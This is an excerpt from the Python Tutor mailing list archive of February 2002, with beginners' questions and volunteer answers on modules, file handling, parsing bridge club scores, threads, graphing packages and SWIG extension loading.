_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com



From scarblac@pino.selwerd.nl  Mon Feb  4 14:07:37 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 4 Feb 2002 15:07:37 +0100
Subject: [Tutor] modular programming
In-Reply-To: <DAV22WoBDyseVwrblZz0000f39d@hotmail.com>; from wolf_binary@hotmail.com on Sun, Feb 03, 2002 at 11:56:15PM -0600
References: <DAV22WoBDyseVwrblZz0000f39d@hotmail.com>
Message-ID: <20020204150737.A23859@pino.selwerd.nl>

On  0, Cameron Stoner <wolf_binary@hotmail.com> wrote:
> I have a little bit of a confusion I need clearing up.
> 
> 1.  How does Python do modules?

Basically, a file defines a module, with the same name as the file (minus
the .py). The module is executed when it is imported for the first time, and
durings its execution it defines functions etc inside it.

> 2.  How do you call or pass values to modules and then back again?

You don't call modules or pass values to them. However, you can for instance
call a function in a module.

Suppose we have the following files:

#### somemodule.py

def func():
   print "This function just prints something"
   
print "This is run when the module is imported"


#### testprogram.py

print "First, we import the module"

import somemodule

print "Now we can access things inside it, like func()"

somemodule.func()

####



I don't know what to add to this now. Chapter 6 of the Python tutorial
(http://www.python.org/doc/current/tut/tut.html) is about modules; maybe you
should read that, and come back with any more specific questions you have,
what exactly you don't understand.

-- 
Remco Gerlich


From scarblac@pino.selwerd.nl  Mon Feb  4 14:09:43 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 4 Feb 2002 15:09:43 +0100
Subject: [Tutor] What is missing?
In-Reply-To: <MJEAIKAGJPJJPKLJPPOPCEIGCBAA.grimmtoothtoo@yahoo.com>; from grimmtoothtoo@yahoo.com on Mon, Feb 04, 2002 at 08:37:27AM -0500
References: <3C5E0AD8.6010302@sympatico.ca> <MJEAIKAGJPJJPKLJPPOPCEIGCBAA.grimmtoothtoo@yahoo.com>
Message-ID: <20020204150943.B23859@pino.selwerd.nl>

On  0, Grimmtooth <grimmtoothtoo@yahoo.com> wrote:
> 
> > DIR = "D:\\dp_test"
> > for filename in os.listdir(DIR):
> >     full_path = os.path.join(DIR, filename)
> >     myFile = open(full_path, 'r')
> >     inFile = open('dp_hr.txt', 'w')
> >     count = len(myFile.readlines())
> >     print filename + ",", count     
> >     inFile.write(filename + ', ' + string(count))
> 
> Where are you closing the files?

Closing them may look good and make your program a little more robust, but
isn't usually necessary in Python. The moment that inFile refers to a new
open file, the old file object is destroyed, and closed. That also happens
when the programs finishes.

-- 
Remco Gerlich


From AKolinski@nriindustries.com  Mon Feb  4 14:31:30 2002
From: AKolinski@nriindustries.com (Andrzej Kolinski)
Date: Mon, 4 Feb 2002 09:31:30 -0500
Subject: [Tutor] my pet project (long)
Message-ID: <OFD0B99A8E.2E6F62EC-ON85256B56.004E9223@nriindustries.com>

--0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E
Content-type: text/plain; charset=us-ascii


Hi,

I worked a bit with my game file and was able to retrieve information I
will, I imagine, be using later on to do my calculations.

import string
gameFile = open("c:\\Python22\\work\\0123x.txt","r")
for line in gameFile.readlines():
    line = string.strip(line)
    outData = string.split(line)
    gameList1 = outData[1], outData[3:5]
    gameList2 = outData[1], outData[6:8]
    print gameList1
    print gameList2
gameFile.close()

In order to get these lists of names and percentages I had to remove by
hand from the file:
- first three lines or so,
- one column with MPs.
(of course, for another game file I would have to do different weeding out
as there are two sets of results, NS and WE and the MPs column is shorter).
I tried to create some kind of results file (cPickle, shelf,...) but it
didn't work for me.

How can this be programmed?
Is this set of list good enough for future use or it has to be saved as a
file for example and how to do this?

(See attached file: 0123x.txt)(See attached file: 0116x.txt)

Thank you for your help so far and in advance as I will be asking you many,
many times to come.

         _/_/       _/     _/
    _/       _/   _/    _/
  _/_/_/_/   _/_/
 _/      _/   _/    _/
_/     _/   _/      _/

      Andrzej


                                                                                                           
                      Danny Yoo                                                                            
                      <dyoo@hkn.eecs.be        To:       Andrzej Kolinski <AKolinski@nriindustries.com>    
                      rkeley.edu>              cc:       tutor@python.org, andrzejk@idirect.com            
                      Sent by:                 Subject:  Re: [Tutor] my pet project (long)                 
                      tutor-admin@pytho                                                                    
                      n.org                                                                                
                                                                                                           
                                                                                                           
                      01/31/02 05:04 PM                                                                    
                                                                                                           
                                                                                                           




On Tue, 29 Jan 2002, Andrzej Kolinski wrote:

> I am a total newbie surrounded by Python books and tutorials. Before I
> became the one (this was not difficult :-)) I tried to learn a bit of
> C (I am glad I did not). I found Python and this mailing are the best
> things for what I dream to do.

I'm glad to hear you're enjoying things.


> This is my pet project. I would like to write a python program that
> allows me to maintain players' ranking for our bridge club.

This sounds good.  Let's see some of the things that you're planning:


> - how to get the data from the results file, i.e. how to create a
> table/file with each player's name associated with the pair's Pct
> (what type of file/string operation applies)?

You'll want to get familiar with opening files and reading whole strings
from them.  A secondary thing is to pull out individual chunks of string.

Most tutorials talk about the input and output (IO) that's involved in
reading files.  Alan's tutorial talks about opening files here:

    http://www.freenetpages.co.uk/hp/alan.gauld/tutfiles.htm

To pull out individual columns from a line of text, we can using a
function called string.split().  An example might help show what it does:


###
>>> sentence = "the digital information that underlies biochemistry,
cell biology, and development can be represented by a simple string of
G's, A's, T's and C's."
>>>
>>> string.split(sentence)
['the', 'digital', 'information', 'that', 'underlies', 'biochemistry,',
'cell', 'biology,', 'and', 'development', 'can', 'be', 'represented',
'by', 'a', 'simple', 'string', 'of', "G's,", "A's,", "T's", 'and', "C's."]
>>>
>>> string.split(sentence, ',')
['the digital information that underlies biochemistry', ' cell biology',
" and development can be represented by a simple string of G's", " A's",
" T's and C's."]
###

This example shows that we can break up a string into a list of smaller
strings, and we have some control over which delimiters Python decides to
split on.  By default, string.split() will split things up, treating
spaces as column boundaries.  Play around with string.split() a bit, and
you'll get the hang of it quickly.



It sounds like you also want to fiddle around with lists.

> I want to include the last 8 games in these calculations and produce a

For this case, we can say "last 8 elements of a list of games" with
something like this:

    games[-8:]

This is called an array slice, and it's very nice because it does allow us
to use negative indices, which count backwards from the end of our list.


> I want to include the last 8 games in these calculations and produce a
> current club ranking list for players that participated at least in 4
> out of the last 8 games.

This is very doable.  One way we can make this easier to write is to make
a function that tells us how many games a person has played in a list of
games:

###
def countPlayerParticipation(player, games):
    """Returns the number of times a player has participated in
    games."""
    # ... dunno what this looks like yet...
###

If we had such a function, then we can just march down a list of all the
players, and pick out the ones in which countPlayerParticipation() is
greater than 4.


This sounds like a great project!  Keep us informed of your progress, and
please feel free to ask questions as you're writing it.


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



--0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E
Content-type: application/octet-stream; 
	name="0123x.txt"
Content-Disposition: attachment; filename="0123x.txt"
Content-transfer-encoding: base64

ICA2ICAgNjIuODggICQxMDUuNjQgICAJCSAgICAgRGFuaWVsYSBBbGVqc2thIC0gWm9maWEgS29u
aXR6ZXINCiAgMiAgIDYxLjE4ICAkMTAyLjc5ICAgCQkgICAgIEFuZHJ6ZWogS29saW5za2kgLSBT
dGFuaXNsYXcgUmFsY2V3aWN6DQogMTYgICA1NS45MSAgICQ5My45MyAgIAkJICAgICBBbGVrc2Fu
ZGVyIENpY2hvY2tpIC0gWmJpZ25pZXcgUGFua2lld2ljeg0KIDExICAgNTUuNDkgICAkOTMuMjIg
ICAJCSAgICAgV2llc2xhdyBTemN6ZXJib3dza2kgLSBaYmlnbmlldyBaaW9sa293c2tpDQogIDMg
ICA1NS40OCAgICQ5My4yMSAgIAkJICAgICBIZW5yeWsgUmFzdG9uIC0gVGFkZXVzeiBXaWRtb250
DQogMTMgICA1My4wMiAgICQ4OS4wNyAgICAgICAgICAgICAgICAgS3J6eXN6dG9mIEtvd2Fsc2tp
IC0gTWllY3p5c2xhdyBMYXNrb3dza2kNCiAxNCAgIDUyLjQyICAgJDg4LjA2ICAgICAgICAgICAg
ICAgICBBZGFtIFphY2hhcmEgLSBCcnVubyBaZHppZW5pY2tpDQogMTAgICA1Mi4yMSAgICQ4Ny43
MiAgICAgICAgICAgICAgICAgUmFkZWsgQ2hyYWJhbG93c2tpIC0gQW5kcnplaiBLaXRhDQogMTIg
ICA0OS4zMSAgICQ4Mi44NCAgICAgICAgICAgICAgICAgQmFyYmFyYSBGaWxpcGN6dWsgLSBKZXJ6
eSBIcnluaWV3aWVja2kNCiAgNSAgIDQ2Ljg5ICAgJDc4Ljc4ICAgICAgICAgICAgICAgICBKYW51
c3ogSGFudXMgLSBNYWxnb3J6YXRhIEx1a2FzaWFrDQogIDEgICA0NS45NiAgICQ3Ny4yMSAgICAg
ICAgICAgICAgICAgU3RhbmlzbGF3IEdydWR6aW5za2kgLSBBbmRyemVqIEhlbXBlbA0KICA3ICAg
NDQuMTMgICAkNzQuMTQgICAgICAgICAgICAgICAgIEtyeXN0eW5hIFN6YWRrb3dza2EgLSBSb2Jl
cnQgU3pjenVyZWsNCiAxNSAgIDQyLjkwICAgJDcyLjA3ICAgICAgICAgICAgICAgICBJcmVuZXVz
eiBCYWN6ZWsgLSBGcmVkIFN6b2JsaWsNCiAgOCAgIDQyLjAyICAgJDcwLjYwICAgICAgICAgICAg
ICAgICBSeXN6YXJkIExld2FuZG93c2tpIC0gWmJpZ25pZXcgU2VrdWxhDQogIDQgICA0MC4zOSAg
ICQ2Ny44NiAgICAgICAgICAgICAgICAgSnVsaWFuIEdhbGFzIC0gV2FuZGEgR2FsYXMNCiAgOSAg
IDM5LjgwICAgJDY2Ljg3ICAgICAgICAgICAgICAgICBXb2pjaWVjaCBTYW1ib3IgLSBNYXJ5bGEg
V2FjaG93aWFrDQo=

--0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E
Content-type: application/octet-stream; 
	name="0116x.txt"
Content-Disposition: attachment; filename="0116x.txt"
Content-transfer-encoding: base64

DQpUdXJuaWVqIFBhcmFtaSAoTUFYLVkpIFdlZG5lc2RheSBFdmUgU2Vzc2lvbiBKYW51YXJ5IDE2
LCAyMDAyDQoNCg0KU2NvcmVzIGFmdGVyIDI4IGJvYXJkcyAgQXZlcmFnZTogICA4NC4wICAgICAg
U2VjdGlvbiAgQSAgTm9ydGgtU291dGgNClBhaXIgICAgUGN0ICAgU2NvcmUgIFJhbmsgICBNUHMg
ICAgIA0KICA3ICAgNjYuOTYgIDExMi41MCAgIDEgICAgMC44MCAgICAgQWRhbSBLb2h1dCAtIFpi
aWduaWV3IFN0YW5raWV3aWN6DQogIDEgICA1NS4wNiAgIDkyLjUwICAgMiAgICAwLjU2ICAgICBU
YWt5IEJvaG9zc2lhbiAtIFN0YW5pc2xhdyBSYWxjZXdpY3oNCiAgMiAgIDQ4LjUxICAgODEuNTAg
IDMvNCAgIDAuMzQgICAgIFN0YW5pc2xhdyBHcnVkemluc2tpIC0gQW5kcnplaiBIZW1wZWwNCiAg
MyAgIDQ4LjUxICAgODEuNTAgIDMvNCAgIDAuMzQgICAgIEhlbnJ5ayBSYXN0b24gLSBUYWRldXN6
IFdpZG1vbnQNCiAgNiAgIDQ2LjQzICAgNzguMDAgICAgICAgICAgICAgICAgIERhbmllbGEgQWxl
anNrYSAtIFpvZmlhIEtvbml0emVyDQogIDQgICA0Ni4xMyAgIDc3LjUwICAgICAgICAgICAgICAg
ICBKdWxpYW4gR2FsYXMgLSBXYW5kYSBHYWxhcw0KICA1ICAgMzguMzkgICA2NC41MCAgICAgICAg
ICAgICAgICAgSmFudXN6IEhhbnVzIC0gTWFsZ29yemF0YSBMdWthc2lhaw0KDQpUdXJuaWVqIFBh
cmFtaSAoTUFYLVkpIFdlZG5lc2RheSBFdmUgU2Vzc2lvbiBKYW51YXJ5IDE2LCAyMDAyDQpTY29y
ZXMgYWZ0ZXIgMjggYm9hcmRzICBBdmVyYWdlOiAgIDg0LjAgICAgICBTZWN0aW9uICBBICBFYXN0
LVdlc3QNClBhaXIgICAgUGN0ICAgU2NvcmUgIFJhbmsgICBNUHMgICAgIA0KICA1ICAgNTkuMzgg
ICA5OS43NSAgIDEgICAgMC44MCAgICAgWnlnbXVudCBLdWJpc3p5biAtIFJ5c3phcmQgTGV3YW5k
b3dza2kNCiAgNyAgIDU2Ljk1ICAgOTUuNjcgICAyICAgIDAuNTYgICAgIElyZW5hIEpha3Vib3dz
a2EgLSBXb2pjaWVjaCBTYW1ib3INCiAgMSAgIDU0LjE3ICAgOTEuMDAgICAzICAgIDAuNDAgICAg
IElyZW5ldXN6IEJhY3playAtIEZyZWQgU3pvYmxpaw0KICA4ICAgNTEuNzQgICA4Ni45MiAgICAg
ICAgICAgICAgICAgSmFjZWsgQ3lwZXJsaW5nIC0gQW5kcnplaiBLb2xpbnNraQ0KICA2ICAgNDku
NjUgICA4My40MiAgICAgICAgICAgICAgICAgS3J6eXN6dG9mIEtvd2Fsc2tpIC0gTWllY3p5c2xh
dyBMYXNrb3dza2kNCiAgMyAgIDQ3LjIyICAgNzkuMzMgICAgICAgICAgICAgICAgIFJhZGVrIENo
cmFiYWxvd3NraSAtIEJydW5vIFpkemllbmlja2kNCiAgNCAgIDQ1LjE0ICAgNzUuODMgICAgICAg
ICAgICAgICAgIEJhcmJhcmEgRmlsaXBjenVrIC0gSmVyenkgSHJ5bmlld2llY2tpDQogIDIgICAz
NS4wNyAgIDU4LjkyICAgICAgICAgICAgICAgICBXaWVzbGF3IFN6Y3plcmJvd3NraSAtIFpiaWdu
aWV3IFppb2xrb3dza2kNCg==

--0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E--



From scarblac@pino.selwerd.nl  Mon Feb  4 14:34:36 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 4 Feb 2002 15:34:36 +0100
Subject: [Tutor] How do I get Python on Mac?
In-Reply-To: <CBFBKLGGHECFOAAA@mailcity.com>; from jimmy_130@lycos.com on Sun, Feb 03, 2002 at 07:43:59PM -0500
References: <CBFBKLGGHECFOAAA@mailcity.com>
Message-ID: <20020204153436.C23859@pino.selwerd.nl>

On  0, James M Lang <jimmy_130@lycos.com> wrote:
> I've got an old Mac that I want to use. The problem is that it doesn't
> have internet access. MacPython is too big to be put on floppy disk so how
> can I split it up, put it on disks, and reassemble them on the Mac? And
> another thing, what is this "hacking" I keep hearing about?

Unfortunately I know nothing about Macs, so I can't help you there.

"Hacking" is used with two meanings these days; one of them is breaking into
computers and other software. It's illegal, and not a subject we discuss
here. I call that "cracking".

The other meaning is closer to "ad hoc programming". A program can be a
quick hack for a one time use, a small but very flexible web browser is a
neat hack, a real hacker of old has a beard, long hair, and will patch three
operating systems running in his Emacs elisp system before ordering a Thai
dinner that can't be beat.

There is a popular FAQ that tries to tell people that hacking is not
breaking into computers, that refers to Python as a good language to start
with; it's at http://www.tuxedo.org/~esr/faqs/hacker-howto.html .

That FAQ was written by opinionated hacker/gun nut Eric S. Raymond, who is
also current editor of the Jargon File, a sort of hacker dictionary, fun to
read, at http://www.tuxedo.org/~esr/jargon/html/index.html . He's also
written many other things, both in prose and in code.

Of course, when people come in here for help on hacking, we'll assume they
belong to the right side of the Force, and just try to teach them about
programming :-).

-- 
Remco Gerlich


From virketis@fas.harvard.edu  Mon Feb  4 15:55:10 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Mon, 4 Feb 2002 10:55:10 -0500
Subject: [Tutor] graphing with Python
Message-ID: <00ee01c1ad94$5644f790$18adf78c@virketis2>

This is a multi-part message in MIME format.

------=_NextPart_000_00EB_01C1AD6A.6A4219A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Dear all,

While working with Matlab on my school's server, I realised that most of =
the numeric things I was doing could be accomplished handily with Pyhon =
- for free, at home, and using my favourite language to boot. The only =
lacking feature was graphing, which admitedly is very easy and seamless =
in Matlab. I turned to google, and found out that many people had =
actually solved that problem. Alas, if anything, it's too many, because =
there is a dozen packages out there, while I have little time to check =
out all of them and still want to use the best one for my purposes. :) =
So, I would like to hear your recommendations for a graphing package for =
Python. My own use is lightweight: mostly, I want to quickly plot out =
the functions I encounter in my real analysis class for visualisation =
and understanding. So I want something that is simple, interactive, and =
can display in a window rather than outputing to a pdf or a tiff. I can =
use Linux-based tools, but at this time Windows would be more useful =
(can't print from Linux :( ).=20

Cheers,=20

Pijus

------=_NextPart_000_00EB_01C1AD6A.6A4219A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Dear all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>While working with Matlab on my =
school's server, I=20
realised that most of the numeric things I was doing could be =
accomplished=20
handily with Pyhon - for free, at home,&nbsp;and using my favourite =
language to=20
boot. The only lacking feature was graphing, which admitedly is very =
easy and=20
seamless in Matlab. I turned to google, and found out that many people =
had=20
actually solved that problem. Alas, if anything, it's too many, because =
there is=20
a dozen packages out there, while I have little time to check out all of =
them=20
and still want to use the best one for my purposes. :) So, I would like =
to hear=20
your recommendations for a graphing package for Python. My own use is=20
lightweight: mostly, I want to quickly plot out the functions I =
encounter in my=20
real analysis class for visualisation and understanding. So I want =
something=20
that&nbsp;is simple, interactive, and can display in a window rather =
than=20
outputing to&nbsp;a pdf or a tiff. I can use Linux-based tools, but at =
this time=20
Windows would be more useful (can't print from Linux :( ). </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cheers, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Pijus</FONT></DIV></BODY></HTML>

------=_NextPart_000_00EB_01C1AD6A.6A4219A0--



From seedseven@home.nl  Mon Feb  4 16:19:22 2002
From: seedseven@home.nl (ingo)
Date: Mon, 04 Feb 2002 17:19:22 +0100
Subject: [Tutor] graphing with Python
In-Reply-To: <00ee01c1ad94$5644f790$18adf78c@virketis2>
References: <00ee01c1ad94$5644f790$18adf78c@virketis2>
Message-ID: <200202041719220843.018A282C@mail>

>So, I would like to hear your recommendations for a graphing package
for Python.

It may be overkill, but I prefer to do most visualisations with
POV-Ray. Kirby Urner has some scripts on his site to connect the two.

Ingo




From urnerk@qwest.net  Mon Feb  4 16:35:08 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Mon, 04 Feb 2002 08:35:08 -0800
Subject: [Tutor] What is missing?
In-Reply-To: <20020204150943.B23859@pino.selwerd.nl>
References: <MJEAIKAGJPJJPKLJPPOPCEIGCBAA.grimmtoothtoo@yahoo.com>
 <3C5E0AD8.6010302@sympatico.ca>
 <MJEAIKAGJPJJPKLJPPOPCEIGCBAA.grimmtoothtoo@yahoo.com>
Message-ID: <4.2.0.58.20020204083208.00c88f00@pop3.norton.antivirus>

At 03:09 PM 2/4/2002 +0100, Remco Gerlich wrote:

>Closing them may look good and make your program a little more
>robust, but isn't usually necessary in Python. The moment that
>inFile refers to a new open file, the old file object is
>destroyed, and closed. That also happens when the programs
>finishes.


Yeah, I recommend explicitly closing in most cases, and
maybe also putting the close() in a finally block, with
any problematic code under development in a try block.
That way, you can debug in the shell without worrying
whether a crash in the script has caused a file to be
left open.

People like me, who rarely execute scripts, but often
open modules and use them as a grab bag to be executed
in shell mode, especially need to close files explictly.

Kirby



From javier@jarava.com  Mon Feb  4 11:04:37 2002
From: javier@jarava.com (Javier Jarava)
Date: Mon, 4 Feb 2002 12:04:37 +0100
Subject: RV: RE: [Tutor] help?
References: <001b01c1acb7$09ddad80$b6aa01d5@callum> <006a01c1acee$b1819ce0$0100a8c0@uno>
Message-ID: <006001c1ad6b$bcf39330$931304d5@uno>

Let's see if this time, it "catches on" the list :)

    Javier
----- Mensaje original -----
De: "Javier JJ" <python.tutorial@NO_SPAM_E.jarava.org>
Para: <tutor@python.org>
Enviado: domingo, 03 de febrero de 2002 21:09
Asunto: RE: [Tutor] help?


> The "problem" is not that DOS closes, but that the program finishes. It
> _does_ print the answer you want and, having finished the program, it
exits.
> Then windows (I guess you're usign windows :) closes the program window -
so
> it looks like DOS closing.
>
> It'd be easier if you first, open a DOS window, and then you run the
program
> from that window. In that way, once the program it's finished, the window
> will remain open, and you'll be able to see the results...
>
> Hope that helps..
>
>     Javier
>
> PS: In any case, it helps when you ask a question to tell a little about
the
> system you're using (operating system, etc :)
>
> JJ
>
>
> ----- Mensaje original -----
> De: Callum Golding
> Para: tutor@python.org
> Enviado: domingo, 03 de febrero de 2002 14:31
> Asunto: [Tutor] help?
>
>
> I'm sorry to bother you, but i was wondering if you could give me a little
> advice. I've recently downloaded Python 2.2. Ive read a begginers guide to
> programming and tried creating a small program, I used the input function.
> Now as soon as I open the program it goes into dos and asks me the
question,
> and when i type in an anwser, dos shuts down. Now its really starting to
bug
> me. If you could give me some advice I would be real grateful. The program
I
> wrote is below; -
>
>
> tempetature = input("What is the temperature of the spam?")
>
> if temperature > 50:
>     print "The salad is properly cooked"
> else:
>     print "Cook the salad some more"
>
>     Mat.G
>
>         Cheers
>



From urnerk@qwest.net  Mon Feb  4 18:27:40 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Mon, 04 Feb 2002 10:27:40 -0800
Subject: RV: RE: [Tutor] help?
In-Reply-To: <006001c1ad6b$bcf39330$931304d5@uno>
References: <001b01c1acb7$09ddad80$b6aa01d5@callum>
 <006a01c1acee$b1819ce0$0100a8c0@uno>
Message-ID: <4.2.0.58.20020204101316.00b91a00@pop3.norton.antivirus>

At 12:04 PM 2/4/2002 +0100, Javier Jarava wrote:
>Let's see if this time, it "catches on" the list :)
>
>     Javier


I don't understand why a new user on Windows is using
DOS.  IDLE is the way to go for new users on a Windows
box.  I'd not recommend any tutorial which was highly
DOS-oriented to begin with -- get to that in a later
section, not right at the start.

Also, I'd focus on having new users write functions in
a module, then have them import the module in IDLE.
In other words, better to encapsulate your raw_input
loop in some def askmeloop(), than to have a lot of
code which simply executes upon importing.

I don't like .py which launch into their thing
when I simply import 'em.  I consider that I'll behaved
-- I may not want to get involved in a raw_input loop
just now.   I prefer that modules use the
if __name__ == "__main__": trick to treat the module
as an executable script *only if* it's kicked off at
the OS command line (or by file association, e.g. with
bang notation if the OS supports it -- Windows
doesn't).

In other words, my preferred intro-to-Python curriculum
would go:  IDLE, Python as calculator (similar to included
tutorial), import standard modules (e.g. math), write
your own functions at the shell prompt, open text Window
in IDLE, write a few functions and save as .py file,
import .py file to use functions, mix with standard
library.  After all of the above, _then_ introduce
running a script using (a) Ctrl-F5 in IDLE and (b)
going to a DOS or X-term window and going > python script.py
Then explain about sys.args and, finally, the __name__ ==
"__main__" thing.

I might even do classes 'n objects (after functions),
*before* getting into the script part.

Kirby



From jeff@ccvcorp.com  Mon Feb  4 18:47:07 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Mon, 04 Feb 2002 10:47:07 -0800
Subject: [Tutor] [Q] about threads ...waiting :(
References: <E16XdCW-0008DL-00@mail.python.org>
Message-ID: <3C5ED72A.41B24D15@ccvcorp.com>

> lonetwin <lonetwin@yahoo.com> wrote:

>
> Hi everybody,
>     I'm playing around with threads using python on linux. ....

(snip)

>     Now, if a KeyboardInterrupt exception is raised during the execution of
> doStuff(), how do I catch it, kill all the threads and exit the
> application, probably printing "Aieee ....I got killed" on the way ??

Yes, but...  ;)

What's happening is that the KeyboardInterrupt is indeed interrupting whichever thread is active when it happens, but the other threads are all independent.  You need some way of telling the other threads that there's been a problem, and they should close.  Python doesn't have any
way to kill a thread from outside, so you'll have to ask each thread to shut down on its own.

Look into threading.event -- you'll want to create an event object, call it something like Interrupted, and then pass a reference to it into each thread as you create them.  Then, in your KeyboardInterrupt, you'll want to Set() that event.  Each thread will, at various places in
its processing, look at that event, and if it's set, they'll know that they need to shut down.

If you need any more pointers on how to use events, just let us know.

Jeff Shannon
Technician/Programmer
Credit International




From human500@hotmail.com  Mon Feb  4 19:36:03 2002
From: human500@hotmail.com (Robert Weeks)
Date: Mon, 04 Feb 2002 19:36:03 +0000
Subject: [Tutor] Help Me!!
Message-ID: <F99m2QirYnUTBnxARhn00002919@hotmail.com>

<html><div style='background-color:'><DIV><FONT size=4>I'm called Rob Weeks and i'm 32. I dont have a job but i want to get one as a game desinger. I dont know any thing about coding and i want to learn. I would go to uni but i can not aford it. If u could teach my to make small simple games or tell me were i could learn, i would be very pleased. Thank u.</FONT></DIV>
<DIV><FONT size=4>Rob Weeks.</FONT></DIV></div><br clear=all><hr>Chat with friends online, try MSN Messenger: <a href='http://go.msn.com/bql/hmtag1_etl_EN.asp'>Click Here</a><br></html>


From human500@hotmail.com  Mon Feb  4 19:37:57 2002
From: human500@hotmail.com (Robert Weeks)
Date: Mon, 04 Feb 2002 19:37:57 +0000
Subject: [Tutor] Help Me!!
Message-ID: <F227okFIhdXdYtU5xss0001ed5c@hotmail.com>

<html><div style='background-color:'><DIV><FONT size=4>I'm called Rob Weeks and i'm 32. I dont have a job but i want to get one as a game desinger. I dont know any thing about coding and i want to learn. I would go to uni but i can not aford it. If u could teach my to make small simple games or tell me were i could learn, i would be very pleased. Thank u.</FONT></DIV>
<DIV><FONT size=4>Rob Weeks.</FONT></DIV></div><br clear=all><hr>Send and receive Hotmail on your mobile device: <a href='http://go.msn.com/bql/hmtag2_etl_EN.asp'>Click Here</a><br></html>


From garber@centralcatholic.org  Mon Feb  4 19:40:40 2002
From: garber@centralcatholic.org (Robert Garber)
Date: Mon,  4 Feb 2002 14:40:40 -0500
Subject: [Tutor] NEWBIE looking for help
Message-ID: <200202041440.AA18350682@centralcatholic.org>

I am very new to programing and am hoping that Python is the place to start. My question is this: I am a football coach who is very unhappy with some of the software available to use in scouting and keeping stats. I am certian a program of this nature will need to be set up as some type of database that is searchable ( by formation, field position, player number/position, down and distance, etc...) is Python the language to start with? I have purchased the Sams "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to program book". I have also downloaded every tutorial I can find on python. I am enjoying the learning experince and hope that Python is the language to open a whole new world for me.
Thans for any help,
Robert


From srogers@itsa.ucsf.edu  Mon Feb  4 21:35:16 2002
From: srogers@itsa.ucsf.edu (Steve Rogers)
Date: Mon, 04 Feb 2002 13:35:16 -0800
Subject: [Tutor] Re: Tutor digest, Vol 1 #1401 - 2 msgs
In-Reply-To: <E16XmUM-0003sm-00@mail.python.org>
Message-ID: <B8843E93.2EEE%srogers@itsa.ucsf.edu>


> 
> Message: 1
> Date: Mon, 04 Feb 2002 17:19:22 +0100
> From: "ingo" <seedseven@home.nl>
> To: tutor@python.org
> Subject: Re: [Tutor] graphing with Python
> 
>> So, I would like to hear your recommendations for a graphing package
> for Python.
> 
> It may be overkill, but I prefer to do most visualisations with
> POV-Ray. Kirby Urner has some scripts on his site to connect the two.
> 
> Ingo

hi ingo,
could you give us the url?  thanks.
steve

__________________________________________________________

Stephen Rogers
Howard Hughes Medical Institute &
Dept. of Cellular and Molecular Pharmacology
1001 Health Sciences East, Box 0450
513 Parnassus Avenue
University of California, San Francisco
San Francisco, CA 94143
tel: (415) 476-8712
fax: (415) 476-5233
email: srogers@itsa.ucsf.edu
http://valelab.ucsf.edu



From wsf@fultondesigns.co.uk  Mon Feb  4 20:04:19 2002
From: wsf@fultondesigns.co.uk (William S Fulton)
Date: Mon, 4 Feb 2002 20:04:19 -0000
Subject: [Tutor] Re: [Swig] C++ Extension Problems (Part1)
References: <3C5D65BD.7060800@gmx.de>
Message-ID: <004d01c1adb7$292fbf60$0b00a8c0@leopard>

Marcus,

I got this to work, but had to set up a release build first as the debug
build wanted a debug library (python21_d.lib) which isn't distributed, not
with my Python anyway. I just had to set the $(PYTHON_LIB) and
$(PYTHON_INCLUDE) paths in the release build for the DLL to be built. Also
in your test script file, simannealfile.py, use:

instance1=simannealfile.new_simulated_annealing

and not
instance1=simannealfile.simulated_annealing

as you didn't pass swig -shadow on the commandline. Also make sure that the
produced dll is in the same directory as the python script you are running
or put it in the path, or setup Visual C++ to output the dll to the same
directory as all your .py script files (Use link tab - output file name in
the build settings).

Hope that gets you going.

Regards
William

----- Original Message -----
From: Keule
To: SWIG ; Tutor
Sent: Sunday, February 03, 2002 4:30 PM
Subject: [Swig] C++ Extension Problems (Part1)


Hi @ ALL !

I´ve created a .dll file with SWIG under windows. Now i want to use it and
try to import it into the simannealfile.py modul, but pythonwin always gives
the following error:

File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in
ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in
RunScript
    exec codeObject in __main__.__dict__
  File
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py" ,
line 2, in ?
    import simannealfile
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.

I checked out the examples ,delivered with SWIG, and compared them with my
Settings under Visual C++. The Examples are all functioned and now i
absolutly did´nt know whats going wrong and why i always get the
Errormessage above. I ´ve put my files with these mail.
Perhaps anyone of you could check my settings an can give me an advice
what´s going wrong.

Thanks a lot
Greetings
Marcus








From dyoo@hkn.eecs.berkeley.edu  Mon Feb  4 23:28:24 2002
